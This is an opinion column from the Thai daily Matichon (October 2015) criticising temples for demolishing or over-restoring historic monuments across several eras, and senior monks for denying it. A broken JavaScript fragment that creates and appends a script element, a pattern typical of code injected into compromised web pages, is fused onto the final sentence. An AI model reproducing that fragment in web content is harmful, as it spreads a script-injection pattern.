มติชนรายวัน ฉบับประจำวันศุกร์ที่ 9 ตุลาคม 2558

 

วัดในไทย

ชอบของใหม่ ทำลายของเก่า

 

          “วัดในไทยส่วนใหญ่ รักษาโบราณสถานและโบราณศิลปวัตถุในวัดอยู่แล้ว”

          พระสงฆ์ผู้ใหญ่มักบอกญาติโยมอย่างกว้างๆ และกำกวมในลักษณะนี้เสมอ ราวจะบอกว่าแต่ไหนแต่ไรมาเจ้าอาวาสและผู้เกี่ยวข้องกับวัดไม่เคยทำอะไรผิดกฎหมายเกี่ยวกับการสงวนรักษาโบราณวัตถุสถาน

          แต่ความจริงที่เห็นแก่ตาเป็นตรงข้าม โดยเปลี่ยนแปลงตามยุคสมัย จะยกตัวอย่างดังนี้

 

ก่อน 14 ตุลาคม 2516

          วัดในไทยส่วนใหญ่ทำลายโบราณสถานอายุเกิน 100 ปี เพื่อเอาพื้นที่สร้างอาคารใหม่ จะด้วยหลงในลาภยศสรรเสริญอันมิควรได้หรืออะไรก็ตาม เช่น

          รื้อโบสถ์เก่า สร้างโบสถ์ใหม่, รื้อเจดีย์เก่า สร้างกุฏิใหม่หรือศาลาใหม่, รื้อทั้งของเก่าของใหม่ เพื่อสร้างอาคารพาณิชย์หรือทำที่จอดรถให้เช่าเก็บรายได้ ฯลฯ

          มีพยานให้เห็นทั่วราชอาณาจักร โดยเฉพาะวัดในชุมชนที่เคยเป็นเมืองโบราณ เช่น อยุธยา, ลพบุรี, สุพรรณบุรี, สุโขทัย, เชียงใหม่, นครราชสีมา, นครศรีธรรมราช, สงขลา, บุรีรัมย์, สุรินทร์, ฯลฯ

 

หลัง 14 ตุลาคม 2516

          วัดในไทยส่วนใหญ่ก็ยังเสาะหาโอกาสทำลายโบราณสถานอายุเกิน 100 ปี เพื่อเป็นผลงานขอเลื่อนสมณศักดิ์ และเพื่อใช้พื้นที่หาประโยชน์เหมือนเดิม

          แต่ถูกปกป้องจากกฎหมายสงวนรักษาฯ ที่กรมศิลปากรเข้มงวดมากกว่าเดิม และรวมทั้งถูกคัดค้านเป็นหูเป็นตามากขึ้นจากคนท้องถิ่นที่รู้และเข้าใจคุณค่า สืบเนื่องจากบรรยากาศทางการเมืองให้ความสำคัญต่อท้องถิ่นมากกว่าแต่ก่อน

          ขณะเดียวกันมีวัดส่วนน้อยเริ่มเห็นคุณค่า แล้วสงวนรักษาโบราณสถานศิลปวัตถุด้วยสำนึกท้องถิ่นนิยม

 

ก่อนวิกฤตต้มยำกุ้ง (ฟองสบู่) 2540

          เจ้าอาวาสวัดวาอารามทั่วประเทศ มั่งคั่งด้วยเงินทำบุญจากเศรษฐีใหม่จากในเมืองและจากกรุงเทพฯ

          ทำให้วัดมองข้ามชุมชนรอบวัด

          นับแต่นั้นบรรดาโบราณศิลปวัตถุสถานในวัด ถึงไม่ทำลายก็ทำร้าย โดยอ้างว่าบูรณปฏิสังขรณ์ แต่ทำของเก่า เป็นของใหม่ทั้งวัด เพื่อขายการท่องเที่ยว

 

วัดทุกวันนี้ดีขึ้นกว่าแต่ก่อน

          กระนั้นวัดหลวงบางแห่งถึงกับแอบอ้างอำนาจนานา เพื่อทำลายโบราณสถานในวัด โดยชาวบ้านรู้ไม่เท่าทัน ก็จำยอมให้น้ำท่วมปาก บางคนที่ไม่ยอมก็โดนกระทำรุนแรงกลั่นแกล้งต่างๆ

          สื่อบางพวกก็รู้ไม่ถึง (เพราะศรัทธานำปัญญา)

          พระผู้ใหญ่ทำไม่รู้ไม่ชี้ว่ามีอะไรเกิดขึ้นจริงในโลก จึงบอกญาติโยมตามสูตรสำเร็จเหมือนเคยบอก (ที่ยกมาไว้บรรทัดแรก) เป็นแผ่นเสียงตกร่อง ขณะเดียวกันก็ซ่อนขยะไว้ใต้พรมd.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);